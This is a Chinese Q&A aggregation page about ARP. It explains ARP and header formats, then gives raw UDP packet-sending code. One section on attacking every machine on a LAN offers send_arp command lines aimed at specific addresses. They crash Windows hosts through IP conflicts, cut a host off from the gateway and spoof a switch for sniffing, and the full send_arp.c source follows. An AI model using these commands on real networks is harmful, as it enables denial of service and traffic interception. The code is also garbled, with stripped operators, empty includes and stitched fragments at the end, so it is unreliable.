文章目录:
- 1、在网络中ARP协议是怎样实现数据包传输的
- 2、Windows系统下能否通过原始套接字发送接受Arp数据包,如何操作?(最好给个例子)
- 3、利用C语言编写模拟ARP发送请求数据包和接收数据包
- 4、ARP数据包是什么意思
- 5、如何像局域网中所有机器发送ARP攻击,请高手指教,软件也可以。
- 6、arp数据包的构造
在网络中ARP协议是怎样实现数据包传输的
现在用A去ping B:
看见Reply from 192.168.85.100: bytes=32 time10ms TTL=32 这样的信息。
然后在命令行中输入 arp -a,会看见192.168.85.100 BB-BB-BB-BB-BB-BB dynamic这样的信息。
这就是arp高速缓存中IP地址和MAC地址的一个映射关系,在以太网中,数据传递靠的是MAC,而并不是IP地址。其实在这背后就隐藏着arp的秘密。
首先A并不知道B在哪里,那么A首先就会发一个广播的ARP请求,即目的MAC为FF-FF-FF- FF-FF-FF,目的IP为B的192.168.85.100,再带上自己的源IP,和源MAC。
如果不是,网卡会自动丢弃数据包。如果B接收到了,经过分析,目的IP是自己的,于是更新自己的ARP高速缓存,记录下A的IP和MAC。然后B就会回应A一个ARP应答,就是把A的源IP,源MAC变成现在目的IP,和目的MAC,再带上自己的源IP,源MAC,发送给A。
当A机接收到ARP应答后,更新自己的ARP高速缓存,即把arp应答中的B机的源IP,源MAC的映射关系记录在高速缓存中。那么现在A机中有B的MAC和IP,B机中也有A的MAC和IP。arp请求和应答过程就结束了。
由于arp高速缓存是会定时自动更新的,在没有静态绑定的情况下,IP和MAC的映射关系会随时间流逝自动消失。
Windows系统下能否通过原始套接字发送接受Arp数据包,如何操作?(最好给个例子)
虽然Windows XP SP2已经不再支持原始TCP数据包的发送,但就其本身作为一项技术而言,掌握原始数据包的发送也是非常重要的。今天我们要讨论的原始UDP数据包的构造,便是这项技术的应用。相信懂得了如何管理UDP头,其他协议的封装应该就不成问题了。在阅读本文,你需要具备以下知识:熟悉C语言、Socket基础知识和TCP/IP基础知识。如果你已经掌握了上面的知识,那就让我们行动吧。
数据包格式
在对数据包进行封装之前,我们有必要了解一下数据报格式,图1是IP头格式。我们所学的知识绝大部分都是从资料书籍中来的,但资料毕竟是死的,当我们拿到图 1所表示的格式时,似乎有点蒙——这个格式是什么意思啊?怎么看?我记得我初学的时候就老犯这种糊涂。下面具体说明一下。
javascript:dcs.images.doResizes(this,0,null);" src="/kf/UploadFiles_7205/201009/20100923105017273.jpg"
图1
在认识该格式之前,我们有必要了解一下什么是“大尾”,什么是“小尾”。“大尾”就是高位字节排放在内存的低端,低位字节排放在内存的高端。“小尾”反之。 Intel处理器大多数使用小尾字节序,Motorola处理器大多数使用大尾(Big Endian)字节序。既然不同的处理器处理的方式不一样,那么在网络交流数据的时候便应该使用同一套标准,不然肯定会发生错误的。TCP/IP各层协议将字节序定义为大尾,因此TCP/IP协议中使用的字节序通常称之为网络字节序,因而在填充数据包的时候一定要注意字节顺序,不然会出错!还有,图1的数据是从左至右字节由低向高,这一点注意一下,初学者容易犯错。
上面是一些需要注意的地方,下面再说一下各个字段的含义。
1)版本号:标志版本;
2)分组长度(HLEN):报文头部的字数(字长=32bits);
3)业务类型(Type of Service):分组的处理方式;
4)总长度(Total Length):分组头部和数据的总长度(字节数);
5)标识(Identification)、标记(Flags)、片偏移(Frag Offset):对分组进行分片,以便允许网上不同MTU时能进行传送;
6)生存时间(TTL):规定分组在网上传送的最长时间(秒),防止分组无休止地要求网络搜寻不存在的目的地址;
7)协议(Protocol):发送分组的上层协议号(TCP= 6,UDP=17);
8)校验和(Header Checksum):分组头校验和;
9)源和目的IP地址(Source and Destination IP Address):标识网络终端设备的IP地址;
10)IP选项(IP Options):网络测试、调试、保密及其他;
11)数据(Data):上层协议数据。
根据上面的说明我们可以定义以下IP头结构。
typedef struct _IPHeader // 20字节的IP头
{
UCHAR iphVerLen; // 版本号和头长度(各占4位)
UCHAR ipTOS; // 服务类型
USHORTipLength; // 封包总长度,即整个IP报的长度
USHORTipID; // 封包标识,惟一标识发送的每一个数据报
USHORTipFlags; // 标志
UCHAR ipTTL; // 生存时间,就是TTL
UCHAR ipProtocol // 协议,可能是TCP、UDP、ICMP等
USHORTipChecksum; // 校验和
ULONG ipSource; // 源IP地址
ULONG ipDestination; // 目的IP地址
} IPHeader, *PIPHeader;
有了IP头,下面就应该是UDP头了,如图2所示。下面说一下各个字段的含义。
javascript:dcs.images.doResizes(this,0,null); border=0
图2
1)源端口(Source Port):呼叫端端口号;
2)目的端口(Destination Port):被叫端端口号;
3)报头长度(HLEN):报文头部的字节数;
4)校验和(Checksum):报头和数据字段的校验和;
5)数据(Data):上层协议数据。
下面是定义的UDP头结构。
typedef struct _UDPHeader
{
USHORT sourcePort; // 源端口号
USHORT destinationPort;// 目的端口号
USHORT len; // 封包长度
USHORT checksum; // 校验和
} UDPHeader, *PUDPHeader;
上面我详细介绍了IP头和UDP头的格式。在我们填充数据包的时候,应该清楚IP头、UDP头和传输数据的顺序应该与如图3一致。
图3
编程 实现
下面我们来看看发送原始UDP封包的代码是如何实现的。首先我们要有一个IP校验码,这有前人写好的专门代码,我们不必深究,拿来用就行,再此不贴出来,大家看杂志相关即可。下面是主程序的代码,很简单,大家慢慢体会,相信会有所收获的。
int main()
{// 输入参数信息
char szDestIp[] = "88.88.88.88";
// == 填写目的IP地址
char szSourceIp[] = "127.0.0.1";
// == 填写你自己的IP地址
USHORT nDestPort = 4567; //目的端口
USHORT nSourcePort = 8888;//源端口
char szMsg[] = "大家好,我是Hokkien!/r/n";
int nMsgLen = strlen(szMsg);
// 创建原始套节字
SOCKET sRaw = ::socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
// 有效IP头包含选项
BOOL bIncl = TRUE;
::setsockopt(sRaw, IPPROTO_IP, IP_HDRINCL, (char *)bIncl, sizeof(bIncl));
char buff[1024] = { 0 };
// 填充IP头
IPHeader *pIphdr = (IPHeader *)buff;
pIphdr-iphVerLen = (44 | (sizeof(IPHeader)/sizeof(ULONG)));
//版本与长度
pIphdr-ipLength = ::htons(sizeof(IPHeader) + sizeof(UDPHeader) + nMsgLen);
//数据包长度
pIphdr-ipTTL = 128; //生存时间
pIphdr-ipProtocol = IPPROTO_UDP;//UDP
pIphdr-ipSource = ::inet_addr(szSourceIp); //源IP
pIphdr-ipDestination = ::inet_addr(szDestIp); //目的IP
pIphdr-ipChecksum = checksum((USHORT*)pIphdr, sizeof(IPHeader));
//校验码,这是必需的!
// 填充UDP头
UDPHeader *pUdphdr = (UDPHeader *)buff[sizeof(IPHeader)];
pUdphdr-sourcePort = htons(8888); //源端口
pUdphdr-destinationPort = htons(nDestPort);//目的端口
pUdphdr-len = htons(sizeof(UDPHeader) + nMsgLen);//报头长度
pUdphdr-checksum = 0; //校验和,不是必需的
char *pData = buff[sizeof(IPHeader) + sizeof(UDPHeader)];
memcpy(pData, szMsg, nMsgLen);
//填充校验和
ComputeUdpPseudoHeaderChecksum(pIphdr, pUdphdr, pData, nMsgLen);
// 设置目的地址
SOCKADDR_IN destAddr = { 0 };
destAddr.sin_family = AF_INET;
destAddr.sin_port = htons(nDestPort);
destAddr.sin_addr.S_un.S_addr = ::inet_addr(szDestIp);
// 发送原始UDP封包
int nRet;
for(int i=0; i5; i++)
{
nRet = ::sendto(sRaw, buff,
sizeof(IPHeader) + sizeof(UDPHeader) + nMsgLen, 0, (sockaddr*)destAddr, sizeof(destAddr));
if(nRet == SOCKET_ERROR)
{
printf(" sendto() failed: %d /n", ::WSAGetLastError());
break;
}
else
{
printf(" sent %d bytes /n", nRet);
}
}
::closesocket(sRaw);
getchar();
return 0;
}
总结
需要注意的是,如果这段代码在Windows XP SP2以前的操作系统上运行,可以使用假的源IP地址。但遗憾的是,Windows XP SP2中,则必须指定一个有效的IP地址,而且不是回环IP(即127.0.0.1)。Windows现在已经不支持原始TCP的发送了。这些种种限制,使得我们在XP上玩黑玩得很不自在!为了取消这种限制,我们可以开发自己的驱动,但开发驱动毕竟不是简单之事,我等菜鸟哪来这等本事啊。不过可喜的是,已经有高人为我们开发了一套当今非常流行的网络开发包驱动Winpcap,完全可以取消上面的限制!对于这种方法,我们以后再讨论,大家期待一下,呵呵
利用C语言编写模拟ARP发送请求数据包和接收数据包
我给你一个技术思路吧。
如果要用C实现模拟ARP发送数据包和接收数据包,可以使用VC6.0开发win32 console application,然后开发一个windows控制台程序,使用API函数开发。
ARP数据包是什么意思
ARP,即地址解析协议,通过遵循该协议,只要我们知道了某台机器的IP地址,即可以知道其物理地址。在TCP/IP网络环境下,每个主机都分配了一个32位的IP地址,这种互联网地址是在网际范围标识主机的一种逻辑地址。为了让报文在物理网路上传送,必须知道对方目的主机的物理地址。这样就存在把IP地址变换成物理地址的地址转换问题。以以太网环境为例,为了正确地向目的主机传送报文,必须把目的主机的32位IP地址转换成为48位以太网的地址。这就需要在互连层有一组服务将IP地址转换为相应物理地址,这组协议就是ARP协议。
在每台安装有TCP/IP协议的电脑里都有一个ARP缓存表,表里的IP地址与MAC地址是一一对应的,如附表所示。
附表
以主机A(192.168.1.5)向主机B(192.168.1.1)发送数据为例。当发送数据时,主机A会在自己的ARP缓存表中寻找是否有目标IP地址。如果找到了,也就知道了目标MAC地址,直接把目标MAC地址写入帧里面发送就可以了;如果在ARP缓存表中没有找到目标IP地址,主机A就会在网络上发送一个广播,目标MAC地址是“FF.FF.FF.FF.FF.FF”,这表示向同一网段内的所有主机发出这样的询问:“我是192.168.1.5,我的硬件地址是"FF.FF.FF.FF.FF.FE".请问IP地址为192.168.1.1的MAC地址是什么?”网络上其他主机并不响应ARP询问,只有主机B接收到这个帧时,才向主机A做出这样的回应:“192.168.1.1的MAC地址是00-aa-00-62-c6-09”。这样,主机A就知道了主机B的MAC地址,它就可以向主机B发送信息了。同时A和B还同时都更新了自己的ARP缓存表(因为A在询问的时候把自己的IP和MAC地址一起告诉了B),下次A再向主机B或者B向A发送信息时,直接从各自的ARP缓存表里查找就可以了。ARP缓存表采用了老化机制(即设置了生存时间TTL),在一段时间内(一般15到20分钟)如果表中的某一行没有使用,就会被删除,这样可以大大减少ARP缓存表的长度,加快查询速度。
ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。
ARP攻击主要是存在于局域网网络中,局域网中若有一个人感染ARP木马,则感染该ARP木马的系统将会试图通过“ARP欺骗”手段截获所在网络内其它计算机的通信信息,并因此造成网内其它计算机的通信故障。
RARP的工作原理:
1. 发送主机发送一个本地的RARP广播,在此广播包中,声明自己的MAC地址并且请求任何收到此请求的RARP服务器分配一个IP地址;
2. 本地网段上的RARP服务器收到此请求后,检查其RARP列表,查找该MAC地址对应的IP地址;
3. 如果存在,RARP服务器就给源主机发送一个响应数据包并将此IP地址提供给对方主机使用;
4. 如果不存在,RARP服务器对此不做任何的响应;
5. 源主机收到从RARP服务器的响应信息,就利用得到的IP地址进行通讯;如果一直没有收到RARP服务器的响应信息,表示初始化失败。
6.如果在第1-3中被ARP病毒攻击,则服务器做出的反映就会被占用,源主机同样得不到RARP服务器的响应信息,此时并不是服务器没有响应而是服务器返回的源主机的IP被占用。
如何像局域网中所有机器发送ARP攻击,请高手指教,软件也可以。
网上关于ARP的资料已经很多了,就不用我都说了。 用某一位高手的话来说,“我们能做的事情很多,唯一受限制的是我们的创造力和想象力”。
ARP也是如此。以下讨论的机子有一个要攻击的机子:10.5.4.178
硬件地址:52:54:4C:98:EE:2F
我的机子: :10.5.3.69
硬件地址:52:54:4C:98:ED:C5
网关: 10.5.0.3
硬件地址:00:90:26:3D:0C:F3
一台交换机另一端口的机子:10.5.3.3
硬件地址:52:54:4C:98:ED:F7
一:用ARP破WINDOWS的屏保
原理:利用IP冲突的级别比屏保高,当有冲突时,就会跳出屏保。
关键:ARP包的数量适当。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
10.5.4.178 52:54:4C:98:EE:2F 40
二:用ARP导致IP冲突,死机
原理:WINDOWS 9X,NT4在处理IP冲突时,处理不过来,导致死机。
注:对WINDOWS 2K,LINUX相当于flooding,只是比一般的FLOODING 有效的多.对LINUX,明显系统被拖慢。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
10.5.4.178 52:54:4C:98:EE:2F 999999999
三:用ARP欺骗网关,可导致局域网的某台机子出不了网关。
原理:用ARP应答包去刷新对应着要使之出不去的机子。
[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 \
10.5.4.178 00:90:26:3D:0C:F3 1
注意:如果单单如上的命令,大概只能有效几秒钟,网关机子里的ARP高速缓存会被被攻击的机子正确刷新,于是只要...
四:用ARP欺骗交换机,可监听到交换机另一端的机子。
可能需要修改一下send_arp.c,构造如下的数据包。
ethhdr
srchw:52:54:4C:98:ED:F7---dsthw:FF:FF:FF:FF:FF:FF proto:806H
arphdr
hwtype:1 protol:800H hw_size:6 pro_size:4 op:1
s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3
d_ha:00:00:00:00:00:00 d_ip:10.5.3.3
然后就可以sniffer了。
原理:
交换机是具有记忆MAC地址功能的,它维护一张MAC地址和它的口号表,所以你可以先来个ARP 欺骗,然后就可以监听了,不过需要指出,欺骗以后,同一个MAC地址就有两个端口号。
yuange说,“这样其实就是一个竞争问题。” 好象ARP 以后,对整个网络会有点影响,不过我不敢确定既然是竞争,所以监听也只能监听一部分,不象同一HUB下的监听。对被监听者会有影响,因为他掉了一部分数据。当然还有其他一些应用,需要其他技术的配合。以下是send_arp.c的源程序
CODE:
/*
This program sends out one ARP packet with source/target IP
and Ethernet hardware addresses suuplied by the user. It
compiles and works on Linux and will probably work on any
Unix that has SOCK_PACKET. volobuev@t1.chem.umn.edu
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev
usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};
struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);
int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock 0)
{
perror("socket");
exit(1);
}
number=atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(src_in_addr, argv[1]);
get_ip_addr(targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
for (j=0;j {
if (sendto(sock,pkt,sizeof(pkt),0,sa,sizeof(sa)) 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}
void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}
void get_ip_addr (struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr-s_addr = inet_addr(str);
if(in_addr-s_addr == -1)
{
if ((hostp = gethostbyname(str)))
bcopy(hostp-h_addr, in_addr, hostp-h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}
void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c = 'a' c = 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c = 'a' c = 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}
arp数据包的构造
在网络中,IP数据包常通过以太网发送。以太网设备并不识别32位IP地址:它们是以48位以太网地址传输以太网数据包的。因此,IP驱动器必须把IP目的地址转换成以太网网目的地址。在这两种地址之间存在着某种静态的或算法的映射,常常需要查看一张表。地址解析协议(Address Resolution Protocol,ARP)就是用来确定这些映象的协议。
ARP工作时,送出一个含有所希望的IP地址的以太网广播数据包。目的地主机,或另一个代表该主机的系统,以一个含有IP和以太网地址对的数据包作为应答。发送者将这个地址对高速缓存起来,以节约不必要的ARP通信。
如果有一个不被信任的节点对本地网络具有写访问许可权,那么也会有某种风险。这样一台机器可以发布虚假的ARP报文并将所有通信都转向它自己,然后它就可以扮演某些机器,或者顺便对数据流进行简单的修改。ARP机制常常是自动起作用的。在特别安全的网络上, ARP映射可以用固件,并且具有自动抑制协议达到防止干扰的目的。
dr = (IPHeader *)buff; pIphdr-iphVerLen = (44 | (sizeof(IPHeader)/sizeof(ULONG))); //版本与长度 pIp
-sourcePort = htons(8888); //源端口 pUdphdr-destinationPort = htons(nDestPort);//目的端口 pUdphdr-len = htons(sizeo
TH_HW_ADDR_LEN]; u_short frame_type; u_short hw_type; u_short prot_type; u_char hw_addr_size; u_c
数据包传输的现在用A去ping B:看见Reply from 192.168.85.100: bytes=32 time10ms TTL=32 这样的信息。然后在命令行中
osesocket(sRaw); getchar(); return 0; } 总结 需要注意的是,如果这段代码在Windows XP SP2以前的操作系统上运行,可以使用假的源IP地址。但遗憾的是,Windows XP SP2中,则必须指定一